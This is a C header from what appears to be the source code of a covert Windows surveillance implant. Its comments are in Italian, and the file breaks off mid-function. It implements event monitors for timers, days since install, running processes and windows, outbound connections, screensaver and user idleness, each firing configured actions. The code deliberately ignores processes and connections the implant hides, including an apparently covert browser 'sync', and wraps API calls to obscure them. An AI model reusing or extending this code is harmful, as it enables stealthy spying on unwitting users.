SM_EventHandlers.h
#include <stdio.h>
// Ogni Event Monitor ha tre funzioni, una per start, una per stop
// e una per istruire una nuova condizione da monitorare
// Definita dentro SM_Core.cpp, di cui questo file e' un include
void TriggerEvent(DWORD, DWORD);
//---------------------------------------------------
// TIMER EVENT MONITOR
#define EM_TIMER_DATE 2 // Attende una determinata data (DWORD64 100-nanosec da 1 gennaio 1601)
#define EM_TIMER_INST 3 // Attende un determinato intervallo (DWORD64 100-nanosec) dalla data di creazione del file
#define EM_TIMER_DAIL 4 // Azione di start dopo n millisecondi dalla mezzanotte (ogni giorno). Stessa cosa per azione di stop
#define EM_TM_SLEEPTIME 500
// C'e' un signolo thread per i timer DATE, INST e DAIL
// Le date (data e installazione) sono GMT.
typedef struct {
DWORD event_id;
DWORD lo_delay_start; // Parte alta e bassa dei 100 nanosecondi dall'installazione, o di una data. Ma anche millisecondi dalla mezzanotte
DWORD hi_delay_start;
DWORD lo_delay_stop;
DWORD hi_delay_stop;
BYTE timer_type;
event_param_struct event_param;
BOOL triggered;
} monitored_timer;
DWORD em_tm_timer_count = 0;
HANDLE em_tm_montime_thread = 0;
monitored_timer *em_tm_timer_table = NULL;
BOOL em_tm_cp = FALSE;
// ritorna la data (100-nanosec dal 1601) di creazione di "filename"
// XXX Attenzione a come il file viene aperto (dovrei aggiungere FILE_SHARE_WRITE)
BOOL GetFileDate(char *filename, nanosec_time *time)
{
HANDLE fileh;
FILETIME filetime;
// XXX Attenzione a come il file viene aperto (dovrei aggiungere FILE_SHARE_WRITE)
fileh = FNC(CreateFileA)(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (fileh == INVALID_HANDLE_VALUE)
return FALSE;
if (!FNC(GetFileTime)(fileh, &filetime, NULL, NULL)) {
CloseHandle(fileh);
return FALSE;
}
time->hi_delay = filetime.dwHighDateTime;
time->lo_delay = filetime.dwLowDateTime;
CloseHandle(fileh);
return TRUE;
}
// Aggiunge alla data un delay in 100-nanosec.
// Il risultato viene messo nel primo parametro.
void AddNanosecTime(nanosec_time *time_date, nanosec_time *time_delay)
{
DWORD partial_sum;
time_date->hi_delay += time_delay->hi_delay;
partial_sum = time_date->lo_delay + time_delay->lo_delay;
// controlla se c'e' stato un riporto
if (partial_sum < time_date->lo_delay)
time_date->hi_delay++;
time_date->lo_delay = partial_sum;
}
// Ritorna TRUE se la prima data e' maggiore della seconda (in 100-nanosec)
BOOL IsGreaterDate(nanosec_time *date, nanosec_time *dead_line)
{
// Controlla prima la parte alta
if (date->hi_delay > dead_line->hi_delay)
return TRUE;
if (date->hi_delay < dead_line->hi_delay)
return FALSE;
// Se arriva qui vuol dire che la parte alta e' uguale
// allora controlla la parte bassa
if (date->lo_delay > dead_line->lo_delay)
return TRUE;
return FALSE;
}
// Thread per le date
DWORD TimerMonitorDates(DWORD dummy)
{
DWORD i;
nanosec_time local_time;
LOOP {
CANCELLATION_POINT(em_tm_cp);
Sleep(EM_TM_SLEEPTIME);
// Legge la data attuale (in 100-nanosec)...
if (!HM_GetDate(&local_time))
continue;
// Aggiusta la data letta con il delta contenuto nel file di
// configurazione.
AddNanosecTime(&local_time, &date_delta);
// ...e la confronta con tutte quelle da monitorare
for (i=0; i<em_tm_timer_count; i++) {
// Se e' del tipo "fascia oraria" vede se ci siamo dentro o se ne siamo usciti
if (em_tm_timer_table[i].timer_type == EM_TIMER_DAIL) {
FILETIME ft;
SYSTEMTIME st;
ft.dwLowDateTime = local_time.lo_delay;
ft.dwHighDateTime = local_time.hi_delay;
if (FileTimeToSystemTime(&ft, &st)) {
DWORD ms_from_midnight = ((((st.wHour*60) + st.wMinute)*60) + st.wSecond)*1000;
// Se non era triggerato e entriamo nella fascia
if (!em_tm_timer_table[i].triggered && ms_from_midnight<=em_tm_timer_table[i].lo_delay_stop && ms_from_midnight>=em_tm_timer_table[i].lo_delay_start) {
em_tm_timer_table[i].triggered = TRUE;
TriggerEvent(em_tm_timer_table[i].event_param.start_action, em_tm_timer_table[i].event_id);
CreateRepeatThread(em_tm_timer_table[i].event_id, em_tm_timer_table[i].event_param.repeat_action, em_tm_timer_table[i].event_param.count, em_tm_timer_table[i].event_param.delay);
}
// Se era triggerato e ora siamo fuori dalla fascia
if (em_tm_timer_table[i].triggered && (ms_from_midnight>em_tm_timer_table[i].lo_delay_stop || ms_from_midnight<em_tm_timer_table[i].lo_delay_start)) {
em_tm_timer_table[i].triggered = FALSE;
StopRepeatThread(em_tm_timer_table[i].event_id);
TriggerEvent(em_tm_timer_table[i].event_param.stop_action, em_tm_timer_table[i].event_id);
}
}
}
// Verifica le fasce di date
if (em_tm_timer_table[i].timer_type == EM_TIMER_DATE || em_tm_timer_table[i].timer_type == EM_TIMER_INST) {
nanosec_time event_time_start, event_time_stop;
event_time_start.lo_delay = em_tm_timer_table[i].lo_delay_start;
event_time_start.hi_delay = em_tm_timer_table[i].hi_delay_start;
event_time_stop.lo_delay = em_tm_timer_table[i].lo_delay_stop;
event_time_stop.hi_delay = em_tm_timer_table[i].hi_delay_stop;
if (!em_tm_timer_table[i].triggered && IsGreaterDate(&local_time, &event_time_start) && !IsGreaterDate(&local_time, &event_time_stop)) {
em_tm_timer_table[i].triggered = TRUE;
TriggerEvent(em_tm_timer_table[i].event_param.start_action, em_tm_timer_table[i].event_id);
CreateRepeatThread(em_tm_timer_table[i].event_id, em_tm_timer_table[i].event_param.repeat_action, em_tm_timer_table[i].event_param.count, em_tm_timer_table[i].event_param.delay);
} else if (em_tm_timer_table[i].triggered && (!IsGreaterDate(&local_time, &event_time_start) || IsGreaterDate(&local_time, &event_time_stop))) {
em_tm_timer_table[i].triggered = FALSE;
StopRepeatThread(em_tm_timer_table[i].event_id);
TriggerEvent(em_tm_timer_table[i].event_param.stop_action, em_tm_timer_table[i].event_id);
}
}
}
}
return 0;
}
void WINAPI EM_TimerAdd(JSONObject conf_json, event_param_struct *event_param, DWORD event_id)
{
DWORD timer_type;
void *temp_table;
nanosec_time install_time;
char dll_path[DLLNAMELEN];
// Riconosce il tipo di timer, dato che la funzione si registra su 3 timer diversi
if (!wcscmp(conf_json[L"event"]->AsString().c_str(), L"timer") ) {
timer_type = EM_TIMER_DAIL;
} else if (!wcscmp(conf_json[L"event"]->AsString().c_str(), L"afterinst") ) {
timer_type = EM_TIMER_INST;
} else {
timer_type = EM_TIMER_DATE;
}
// XXX...altro piccolo ed improbabile int overflow....
if ( !(temp_table = realloc(em_tm_timer_table, (em_tm_timer_count + 1)*sizeof(monitored_timer))) )
return;
em_tm_timer_table = (monitored_timer *)temp_table;
em_tm_timer_table[em_tm_timer_count].event_id = event_id;
memcpy(&em_tm_timer_table[em_tm_timer_count].event_param, event_param, sizeof(event_param_struct));
em_tm_timer_table[em_tm_timer_count].triggered = FALSE;
em_tm_timer_table[em_tm_timer_count].timer_type = timer_type;
if (timer_type == EM_TIMER_INST) {
if (GetFileDate(HM_CompletePath(H4DLLNAME, dll_path), &install_time)) {
nanosec_time install_delay;
DWORD day_after;
INT64 nanosec;
// Trasforma da giorni a 100-nanosecondi
day_after = conf_json[L"days"]->AsNumber();
nanosec = day_after;
nanosec = nanosec*24*60*60*10*1000*1000;
install_delay.lo_delay = (DWORD)nanosec;
install_delay.hi_delay = (DWORD)(nanosec>>32);
// Aggiunge al delay la data di installazione
AddNanosecTime(&install_delay, &install_time);
// Effettua anche la correzione col delta data
AddNanosecTime(&install_delay, &date_delta);
// Il risultato e' la data (in 100-nanosec) da attendere
em_tm_timer_table[em_tm_timer_count].lo_delay_start = install_delay.lo_delay;
em_tm_timer_table[em_tm_timer_count].hi_delay_start = install_delay.hi_delay;
em_tm_timer_table[em_tm_timer_count].lo_delay_stop = 0xffffffff;
em_tm_timer_table[em_tm_timer_count].hi_delay_stop = 0xffffffff;
} else {
// Se non riesce a leggere la data di installazione setta l'attesa di
// una data che non arrivera' mai...
em_tm_timer_table[em_tm_timer_count].lo_delay_start = 0xffffffff;
em_tm_timer_table[em_tm_timer_count].hi_delay_start = 0xffffffff;
em_tm_timer_table[em_tm_timer_count].lo_delay_stop = 0xffffffff;
em_tm_timer_table[em_tm_timer_count].hi_delay_stop = 0xffffffff;
}
} else if (timer_type == EM_TIMER_DAIL) {
HM_HourStringToMillisecond(conf_json[L"ts"]->AsString().c_str(), &(em_tm_timer_table[em_tm_timer_count].lo_delay_start));
HM_HourStringToMillisecond(conf_json[L"te"]->AsString().c_str(), &(em_tm_timer_table[em_tm_timer_count].lo_delay_stop));
} else { // Tipo Date
FILETIME ftime;
if (conf_json[L"datefrom"]) {
HM_TimeStringToFileTime(conf_json[L"datefrom"]->AsString().c_str(), &ftime);
em_tm_timer_table[em_tm_timer_count].lo_delay_start = ftime.dwLowDateTime;
em_tm_timer_table[em_tm_timer_count].hi_delay_start = ftime.dwHighDateTime;
} else {
em_tm_timer_table[em_tm_timer_count].lo_delay_start = 0;
em_tm_timer_table[em_tm_timer_count].hi_delay_start = 0;
}
if (conf_json[L"dateto"]) {
HM_TimeStringToFileTime(conf_json[L"dateto"]->AsString().c_str(), &ftime);
em_tm_timer_table[em_tm_timer_count].lo_delay_stop = ftime.dwLowDateTime;
em_tm_timer_table[em_tm_timer_count].hi_delay_stop = ftime.dwHighDateTime;
} else {
em_tm_timer_table[em_tm_timer_count].lo_delay_stop = 0xffffffff;
em_tm_timer_table[em_tm_timer_count].hi_delay_stop = 0xffffffff;
}
}
em_tm_timer_count++;
}
void WINAPI EM_TimerStart()
{
DWORD dummy;
// Lancia il thread se c'e' almeno un timer da seguire
if (em_tm_timer_count>0)
em_tm_montime_thread = HM_SafeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)TimerMonitorDates, NULL, 0, &dummy);
}
void WINAPI EM_TimerStop()
{
// Cancella il thread
QUERY_CANCELLATION(em_tm_montime_thread, em_tm_cp);
// Cancella tutti i thread di repeat
for (DWORD i=0; i<em_tm_timer_count; i++)
StopRepeatThread(em_tm_timer_table[i].event_id);
SAFE_FREE(em_tm_timer_table);
em_tm_timer_count = 0;
}
//---------------------------------------------------
//---------------------------------------------------
// MONITOR DEI PROCESSI
#include <Tlhelp32.h>
#define PR_WINDOW_MASK 1
#define PR_FOREGROUND_MASK 2
typedef struct {
WCHAR *proc_name;
DWORD isWindow;
DWORD isForeground;
BOOL present;
event_param_struct event_param;
DWORD event_id;
} monitored_proc;
typedef struct {
DWORD index;
BOOL found;
} enum_win_par_struct;
#define EM_MP_SLEEPTIME 1000
extern int CmpWild(const unsigned char *, const unsigned char *); // XXX Dichiarata in HM_ProcessMonitors.h
extern int CmpWildW(WCHAR *, WCHAR *); // XXX Dichiarata in HM_ProcessMonitors.h
HANDLE em_mp_monproc_thread = 0;
DWORD em_mp_monitor_count = 0;
monitored_proc *em_mp_process_table = NULL;
BOOL em_mp_cp = FALSE;
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
enum_win_par_struct *enum_win_par;
enum_win_par = (enum_win_par_struct *)lParam;
WCHAR window_name[256];
if (!HM_SafeGetWindowTextW(hwnd, window_name, (sizeof(window_name)/sizeof(WCHAR))-1))
return TRUE;
// NULL Termina (nel caso di troncature)
window_name[(sizeof(window_name)/sizeof(WCHAR))-1] = 0;
if (CmpWildW(em_mp_process_table[enum_win_par->index].proc_name, window_name)) {
enum_win_par->found = TRUE;
return FALSE;
}
// Continua la ricerca
return TRUE;
}
BOOL CmpFrontWindowName(WCHAR *str)
{
HWND front_wind;
WCHAR window_name[256];
front_wind = GetForegroundWindow();
if (!front_wind)
return FALSE;
if (!HM_SafeGetWindowTextW(front_wind, window_name, (sizeof(window_name)/sizeof(WCHAR))-1))
return FALSE;
window_name[(sizeof(window_name)/sizeof(WCHAR))-1] = 0;
if (CmpWildW(str, window_name))
return TRUE;
return FALSE;
}
BOOL CmpFrontProcName(WCHAR *str)
{
WCHAR *proc_name = NULL;
HWND front_wind;
DWORD proc_id = 0;
front_wind = GetForegroundWindow();
if (!front_wind)
return FALSE;
GetWindowThreadProcessId(front_wind, &proc_id);
if (!proc_id)
return FALSE;
proc_name = HM_FindProcW(proc_id);
if (!proc_name)
return FALSE;
if (CmpWildW(str, proc_name)) {
SAFE_FREE(proc_name);
return TRUE;
}
SAFE_FREE(proc_name);
return FALSE;
}
DWORD MonitorProcesses(DWORD dummy)
{
HANDLE proc_snap;
PROCESSENTRY32W lppe;
DWORD index;
BOOL process_found;
enum_win_par_struct enum_win_par;
pid_hide_struct pid_hide = NULL_PID_HIDE_STRUCT;
LOOP {
CANCELLATION_POINT(em_mp_cp);
// Cicla per tutti quelli dove stiamo cercando una finestra
for (index=0; index<em_mp_monitor_count; index++) {
// Solo se cerchiamo il nome della finestra
if (!em_mp_process_table[index].isWindow)
continue;
enum_win_par.index = index;
enum_win_par.found = FALSE;
if (!em_mp_process_table[index].isForeground) {
// La funzione di call-back setta enum_win_par.found
FNC(EnumWindows)(EnumWindowsProc, (LPARAM)&enum_win_par);
} else {
// Se invece deve compararla solo con la finestra in foreground...
enum_win_par.found = CmpFrontWindowName(em_mp_process_table[index].proc_name);
}
if (enum_win_par.found && !em_mp_process_table[index].present) {
em_mp_process_table[index].present = TRUE;
TriggerEvent(em_mp_process_table[index].event_param.start_action, em_mp_process_table[index].event_id);
CreateRepeatThread(em_mp_process_table[index].event_id, em_mp_process_table[index].event_param.repeat_action, em_mp_process_table[index].event_param.count, em_mp_process_table[index].event_param.delay);
}
if (!enum_win_par.found && em_mp_process_table[index].present) {
em_mp_process_table[index].present = FALSE;
StopRepeatThread(em_mp_process_table[index].event_id);
TriggerEvent(em_mp_process_table[index].event_param.stop_action, em_mp_process_table[index].event_id);
}
}
// Cicla per tutti quelli dove stiamo cercando il nome del processo
proc_snap = FNC(CreateToolhelp32Snapshot)(TH32CS_SNAPPROCESS, NULL);
if (proc_snap == INVALID_HANDLE_VALUE) {
Sleep(EM_MP_SLEEPTIME);
continue;
}
// Cicla i processi nella process_table
for (index=0; index<em_mp_monitor_count; index++) {
// Solo se stiamo cercando il nome del processo
if (em_mp_process_table[index].isWindow)
continue;
// Se devo considerare solo il processo in foreground
if (em_mp_process_table[index].isForeground) {
process_found = CmpFrontProcName(em_mp_process_table[index].proc_name);
if (process_found && !em_mp_process_table[index].present) {
em_mp_process_table[index].present = TRUE;
TriggerEvent(em_mp_process_table[index].event_param.start_action, em_mp_process_table[index].event_id);
CreateRepeatThread(em_mp_process_table[index].event_id, em_mp_process_table[index].event_param.repeat_action, em_mp_process_table[index].event_param.count, em_mp_process_table[index].event_param.delay);
}
if (!process_found && em_mp_process_table[index].present) {
em_mp_process_table[index].present = FALSE;
StopRepeatThread(em_mp_process_table[index].event_id);
TriggerEvent(em_mp_process_table[index].event_param.stop_action, em_mp_process_table[index].event_id);
}
continue;
}
// Se devo considerare tutti i processi...
lppe.dwSize = sizeof(PROCESSENTRY32W);
if (FNC(Process32FirstW)(proc_snap, &lppe)) {
process_found = FALSE;
// Cicla tutti i processi attivi...
do {
// Non considera i processi che stiamo nascondendo.
// C'e' una VAGHISSIMA possibilita' di race condition
// con l'iexporer lanciato per la sync, ma al massimo fa compiere
// una action di sync in piu'....
SET_PID_HIDE_STRUCT(pid_hide, lppe.th32ProcessID);
if (AM_IsHidden(HIDE_PID, &pid_hide))
continue;
// ...e li compara con quelli nella tabella
if (CmpWildW(em_mp_process_table[index].proc_name, lppe.szExeFile)) {
// Se il processo e' presente e non era ancora stato rilevato, lancia il primo evento
if (!em_mp_process_table[index].present) {
em_mp_process_table[index].present = TRUE;
TriggerEvent(em_mp_process_table[index].event_param.start_action, em_mp_process_table[index].event_id);
CreateRepeatThread(em_mp_process_table[index].event_id, em_mp_process_table[index].event_param.repeat_action, em_mp_process_table[index].event_param.count, em_mp_process_table[index].event_param.delay);
}
process_found = TRUE;
break;
}
} while(FNC(Process32NextW)(proc_snap, &lppe));
// Se il processo era stato rilevato come presente, ma adesso non lo e' piu'
// lancia il secondo evento
if (em_mp_process_table[index].present && !process_found) {
em_mp_process_table[index].present = FALSE;
StopRepeatThread(em_mp_process_table[index].event_id);
TriggerEvent(em_mp_process_table[index].event_param.stop_action, em_mp_process_table[index].event_id);
}
}
}
CloseHandle(proc_snap);
Sleep(EM_MP_SLEEPTIME);
}
// not reached
return 0;
}
void WINAPI EM_MonProcAdd(JSONObject conf_json, event_param_struct *event_param, DWORD event_id)
{
void *temp_table;
// XXX...altro piccolo ed improbabile int overflow....
if ( !(temp_table = realloc(em_mp_process_table, (em_mp_monitor_count + 1)*sizeof(monitored_proc))) )
return;
em_mp_process_table = (monitored_proc *)temp_table;
memcpy(&em_mp_process_table[em_mp_monitor_count].event_param, event_param, sizeof(event_param_struct));
em_mp_process_table[em_mp_monitor_count].event_id = event_id;
em_mp_process_table[em_mp_monitor_count].proc_name = wcsdup(conf_json[L"process"]->AsString().c_str());
em_mp_process_table[em_mp_monitor_count].isWindow = conf_json[L"window"]->AsBool();
em_mp_process_table[em_mp_monitor_count].isForeground = conf_json[L"focus"]->AsBool();
em_mp_process_table[em_mp_monitor_count].present = FALSE;
em_mp_monitor_count++;
}
void WINAPI EM_MonProcStart()
{
DWORD dummy;
// Crea il thread solo se ci sono processi da monitorare
if (em_mp_monitor_count>0)
em_mp_monproc_thread = HM_SafeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorProcesses, NULL, 0, &dummy);
}
void WINAPI EM_MonProcStop()
{
DWORD i;
QUERY_CANCELLATION(em_mp_monproc_thread, em_mp_cp);
// Cancella tutti i thread di repeat
for (i=0; i<em_mp_monitor_count; i++)
StopRepeatThread(em_mp_process_table[i].event_id);
// Libera tutte le strutture allocate
for (i=0; i<em_mp_monitor_count; i++)
SAFE_FREE(em_mp_process_table[i].proc_name);
SAFE_FREE(em_mp_process_table);
em_mp_monitor_count = 0;
}
//---------------------------------------------------
// MONITOR DELLE CONNESSIONI
#include <Iphlpapi.h>
typedef DWORD (WINAPI *GetIpAddrTable_t)(PMIB_IPADDRTABLE, PULONG, BOOL);
typedef DWORD (WINAPI *GetTcpTable_t)(PMIB_TCPTABLE_OWNER_PID, PDWORD, BOOL, ULONG, TCP_TABLE_CLASS, ULONG);
typedef struct {
DWORD ip_address;
DWORD netmask;
DWORD port;
BOOL present;
event_param_struct event_param;
DWORD event_id;
} monitored_conn;
#define EM_MC_SLEEPTIME 300
HANDLE em_mc_monconn_thread = 0;
DWORD em_mc_connection_count = 0;
monitored_conn *em_mc_connection_table = NULL;
MIB_IPADDRTABLE *em_mc_localip = NULL;
HMODULE h_iphlp = NULL;
GetIpAddrTable_t pGetIpAddrTable = NULL;
GetTcpTable_t pGetTcpTable = NULL;
BOOL em_mc_cp = FALSE;
// Inizializza la tabella degli indirizzi locali
void InitIPAddrLocal()
{
DWORD dwSize;
// Alloca e verifica
SAFE_FREE(em_mc_localip);
if (! (em_mc_localip = (MIB_IPADDRTABLE *)malloc(sizeof(MIB_IPADDRTABLE))) )
return;
dwSize = 0;
// XXX La verifica che il puntatore pGetIpAddrTable sia valorizzato, viene
// fatta dal chiamante.
if (pGetIpAddrTable(em_mc_localip, &dwSize, FALSE) == ERROR_INSUFFICIENT_BUFFER) {
SAFE_FREE(em_mc_localip);
if (! (em_mc_localip = (MIB_IPADDRTABLE *)malloc((UINT) dwSize)) )
return;
}
if (pGetIpAddrTable(em_mc_localip, &dwSize, FALSE) != NO_ERROR)
SAFE_FREE(em_mc_localip);
}
// Torna TRUE se i due IP sono nella stessa subnet
BOOL IPNetCmp(DWORD ip1, DWORD ip2, DWORD netmask)
{
ip1 &= netmask;
ip2 &= netmask;
if (ip1 == ip2)
return TRUE;
else
return FALSE;
}
// Torna TRUE se ip_addr e' nella LAN
BOOL IPAddrIsLocal(DWORD ip_addr)
{
DWORD i;
// Controlla che la tabella degli indirizzi sia
// stata allocata
if (!em_mc_localip)
return FALSE;
for (i=0; i<em_mc_localip->dwNumEntries; i++)
if ( (em_mc_localip->table[i].dwAddr & em_mc_localip->table[i].dwMask) ==
(ip_addr & em_mc_localip->table[i].dwMask) && em_mc_localip->table[i].dwMask)
return TRUE;
return FALSE;
}
DWORD MonitorConnection(DWORD dummy)
{
PMIB_TCPTABLE_OWNER_PID pTcpTable;
pid_hide_struct pid_hide = NULL_PID_HIDE_STRUCT;
DWORD i, j, dwSize;
BOOL conn_found;
// Se non e' stata inizializzata, carica iphlpapi.dll.
// Lo fa una volta sola.
if (!h_iphlp) {
if ( (h_iphlp = LoadLibrary("iphlpapi.dll")) ) {
pGetIpAddrTable = (GetIpAddrTable_t)HM_SafeGetProcAddress(h_iphlp, "GetIpAddrTable");
pGetTcpTable = (GetTcpTable_t)HM_SafeGetProcAddress(h_iphlp, "GetExtendedTcpTable");
}
}
LOOP {
CANCELLATION_POINT(em_mc_cp);
// Verifica di avere le funzioni che servono, altrimenti non fa nulla
// e aspetta solo di terminare
if (!pGetTcpTable || !pGetIpAddrTable) {
Sleep(EM_MC_SLEEPTIME);
continue;
}
// Lo fa ogni volta perche' l'indirizzo potrebbe non essere disponibile da suibito (es:dhcp)
// o la macchina potrebbe non essere collegata in rete, o l'utente potrebbe riconfigurarlo a mano
InitIPAddrLocal();
dwSize = sizeof(MIB_TCPTABLE_OWNER_PID);
pTcpTable = (MIB_TCPTABLE_OWNER_PID *) malloc(sizeof(MIB_TCPTABLE_OWNER_PID));
if (!pTcpTable)
continue;
// Legge la quantita' di memoria necessaria a contenere la tabella
if (pGetTcpTable(pTcpTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_CONNECTIONS, 0) == ERROR_INSUFFICIENT_BUFFER) {
SAFE_FREE(pTcpTable);
pTcpTable = (MIB_TCPTABLE_OWNER_PID *) malloc ((UINT) dwSize);
if (!pTcpTable) {
Sleep(EM_MC_SLEEPTIME);
continue;
}
}
// Ottiene la tabella delle connessionei TCP
if (pGetTcpTable(pTcpTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_CONNECTIONS, 0) == NO_ERROR) {
// Cicla le connessioni da monitorare
for (i=0; i<em_mc_connection_count; i++) {
conn_found = FALSE;
// Cicla le connessioni stabilite
for (j=0; j<pTcpTable->dwNumEntries; j++) {
// Non considera le connessioni fatte dai processi nascosti da noi
// (ad esempio quelle di iexplorer durante la sync)
SET_PID_HIDE_STRUCT(pid_hide, pTcpTable->table[j].dwOwningPid);
if (AM_IsHidden(HIDE_PID, &pid_hide))
continue;
// Controlla solo le connessioni attive e non verso la LAN
if (pTcpTable->table[j].dwState != MIB_TCP_STATE_LISTEN &&
pTcpTable->table[j].dwState != MIB_TCP_STATE_TIME_WAIT &&
!IPAddrIsLocal(pTcpTable->table[j].dwRemoteAddr) ) {
// Controlla che IP e porta da monitorare siano nulli (wildcard) o uguali a
// quelli della connessione attualmente in esame.
if ((!em_mc_connection_table[i].ip_address || IPNetCmp(em_mc_connection_table[i].ip_address, pTcpTable->table[j].dwRemoteAddr, em_mc_connection_table[i].netmask)) &&
(!em_mc_connection_table[i].port || em_mc_connection_table[i].port == htons(pTcpTable->table[j].dwRemotePort))) {
// Controlla che la connessione non sia stata gia' rilevata
// in un precedente ciclo
if (!em_mc_connection_table[i].present) {
em_mc_connection_table[i].present = TRUE;
TriggerEvent(em_mc_connection_table[i].event_param.start_action, em_mc_connection_table[i].event_id);
CreateRepeatThread(em_mc_connection_table[i].event_id, em_mc_connection_table[i].event_param.repeat_action, em_mc_connection_table[i].event_param.count, em_mc_connection_table[i].event_param.delay);
}
conn_found = TRUE;
break;
}
}
}
// Se la connessione era stata rilevata come presente, ma adesso non lo e' piu',
// aggiorna la tabella
if (em_mc_connection_table[i].present && !conn_found) {
em_mc_connection_table[i].present = FALSE;
StopRepeatThread(em_mc_connection_table[i].event_id);
TriggerEvent(em_mc_connection_table[i].event_param.stop_action, em_mc_connection_table[i].event_id);
}
}
}
SAFE_FREE(pTcpTable);
Sleep(EM_MC_SLEEPTIME);
}
// not reached
return 0;
}
void WINAPI EM_MonConnAdd(JSONObject conf_json, event_param_struct *event_param, DWORD event_id)
{
void *temp_table;
DWORD port;
char ip_addr[64], netmask[64];
// XXX...altro piccolo ed improbabile int overflow....
if ( !(temp_table = realloc(em_mc_connection_table, (em_mc_connection_count + 1)*sizeof(monitored_conn))) )
return;
sprintf_s(ip_addr, "%S", conf_json[L"ip"]->AsString().c_str());
sprintf_s(netmask, "%S", conf_json[L"netmask"]->AsString().c_str());
if (conf_json[L"port"])
port = conf_json[L"port"]->AsNumber();
else
port = 0;
em_mc_connection_table = (monitored_conn *)temp_table;
memcpy(&em_mc_connection_table[em_mc_connection_count].event_param, event_param, sizeof(event_param_struct));
em_mc_connection_table[em_mc_connection_count].event_id = event_id;
em_mc_connection_table[em_mc_connection_count].ip_address = inet_addr(ip_addr);
em_mc_connection_table[em_mc_connection_count].netmask = inet_addr(netmask);
em_mc_connection_table[em_mc_connection_count].port = port;
em_mc_connection_table[em_mc_connection_count].present = FALSE;
em_mc_connection_count++;
}
void WINAPI EM_MonConnStart()
{
DWORD dummy;
// Crea il thread solo se ci sono connessioni da monitorare
if (em_mc_connection_count>0)
em_mc_monconn_thread = HM_SafeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorConnection, NULL, 0, &dummy);
}
void WINAPI EM_MonConnStop()
{
QUERY_CANCELLATION(em_mc_monconn_thread, em_mc_cp);
// Cancella tutti i thread di repeat
for (DWORD i=0; i<em_mc_connection_count; i++)
StopRepeatThread(em_mc_connection_table[i].event_id);
SAFE_FREE(em_mc_connection_table);
SAFE_FREE(em_mc_localip);
em_mc_connection_count = 0;
}
//---------------------------------------------------
// MONITOR SALVASCHERMO
typedef struct {
event_param_struct event_param;
DWORD event_id;
} monitored_screensaver;
DWORD screensaver_count = 0;
monitored_screensaver *screensaver_table = NULL;
BOOL em_ss_present = FALSE;
HANDLE em_ss_thread = 0;
BOOL em_ss_cp = FALSE;
#define EM_SS_SLEEPTIME 300
BOOL IsSaverRunning()
{
BOOL ret, srunning = FALSE;
// Se fallisce, assume che non si attivo
// SPI_GETSCREENSAVERRUNNING richiede che WINVER sia>=0x500
ret = FNC(SystemParametersInfoA)(SPI_GETSCREENSAVERRUNNING, 0, &srunning, 0);
return srunning && ret;
}
DWORD MonitorScreenSaver(DWORD dummy)
{
LOOP {
DWORD i;
CANCELLATION_POINT(em_ss_cp);
if (IsSaverRunning()) {
// Se lo screensaver e' presente e non era stato rilevato
if (!em_ss_present) {
em_ss_present = TRUE;
for (i=0; i<screensaver_count; i++) {
TriggerEvent(screensaver_table[i].event_param.start_action, screensaver_table[i].event_id);
CreateRepeatThread(screensaver_table[i].event_id, screensaver_table[i].event_param.repeat_action, screensaver_table[i].event_param.count, screensaver_table[i].event_param.delay);
}
}
} else {
// Se lo screensaver non e' presente ed era stato rilevato
if (em_ss_present) {
em_ss_present = FALSE;
for (i=0; i<screensaver_count; i++) {
StopRepeatThread(screensaver_table[i].event_id);
TriggerEvent(screensaver_table[i].event_param.stop_action, screensaver_table[i].event_id);
}
}
}
Sleep(EM_SS_SLEEPTIME);
}
// not reached
return 0;
}
void WINAPI EM_ScreenSaverAdd(JSONObject conf_json, event_param_struct *event_param, DWORD event_id)
{
void *temp_table;
if ( !(temp_table = realloc(screensaver_table, (screensaver_count + 1)*sizeof(monitored_screensaver))) )
return;
screensaver_table = (monitored_screensaver *)temp_table;
memcpy(&screensaver_table[screensaver_count].event_param, event_param, sizeof(event_param_struct));
screensaver_table[screensaver_count].event_id = event_id;
screensaver_count++;
}
void WINAPI EM_ScreenSaverStart()
{
DWORD dummy;
// Crea il thread solo se ci sono azioni da fare
if (screensaver_count>0)
em_ss_thread = HM_SafeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorScreenSaver, NULL, 0, &dummy);
}
void WINAPI EM_ScreenSaverStop()
{
QUERY_CANCELLATION(em_ss_thread, em_ss_cp);
for (DWORD i=0; i<screensaver_count; i++)
StopRepeatThread(screensaver_table[i].event_id);
SAFE_FREE(screensaver_table);
em_ss_present = FALSE;
screensaver_count = 0;
}
//---------------------------------------------------
// MONITOR USER IDLE
typedef struct {
event_param_struct event_param;
DWORD event_id;
DWORD threshold;
} monitored_user_idles;
DWORD user_idles_count = 0;
monitored_user_idles *user_idles_table = NULL;
HANDLE em_ui_thread = 0;
BOOL em_ui_cp = FALSE;
DWORD MonitorUserIdles(DWORD dummy)
{
LASTINPUTINFO lii;
DWORD last_time = 0;
DWORD idle = 0;
DWORD i;
lii.cbSize = sizeof(lii);
LOOP {
Sleep(500);
CANCELLATION_POINT(em_ui_cp);
Sleep(500);
CANCELLATION_POINT(em_ui_cp);
if (idle < 0xFFFFFFFF)
idle++;
// Nuovo input!
if (GetLastInputInfo(&lii)) {
if (lii.dwTime != last_time) {
last_time = lii.dwTime;
// Esegue l'azione di end per quei threshold che erano scattati
for (i=0; i<user_idles_count; i++) {
if (idle>user_idles_table[i].threshold && user_idles_table[i].threshold>0) {
StopRepeatThread(user_idles_table[i].event_id);
TriggerEvent(user_idles_table[i].event_param.stop_action, user_idles_table[i].event_id);
}
}
idle = 0;
}
}
for (i=0; i<user_idles_count; i++) {
// Verifica se alcuni threshold sono scattati
if (idle==user_idles_table[i].threshold && user_idles_table[i].threshold>0) {
TriggerEvent(user_idles_table[i].event_param.start_action, user_idles_table[i].event_id);
CreateRepeatThread(user_idles_table[i].event_id, user_idles_table[i].event_param.repeat_action, user_idles_table[i].event_param.count, user_idles_table[i].event_param.delay);
}
}
}
// not reached
return 0;
}
void WINAPI EM_UserIdlesAdd(JSONObject conf_json, event_param_struct *event_param, DWORD event_id)
{
void *temp_table;
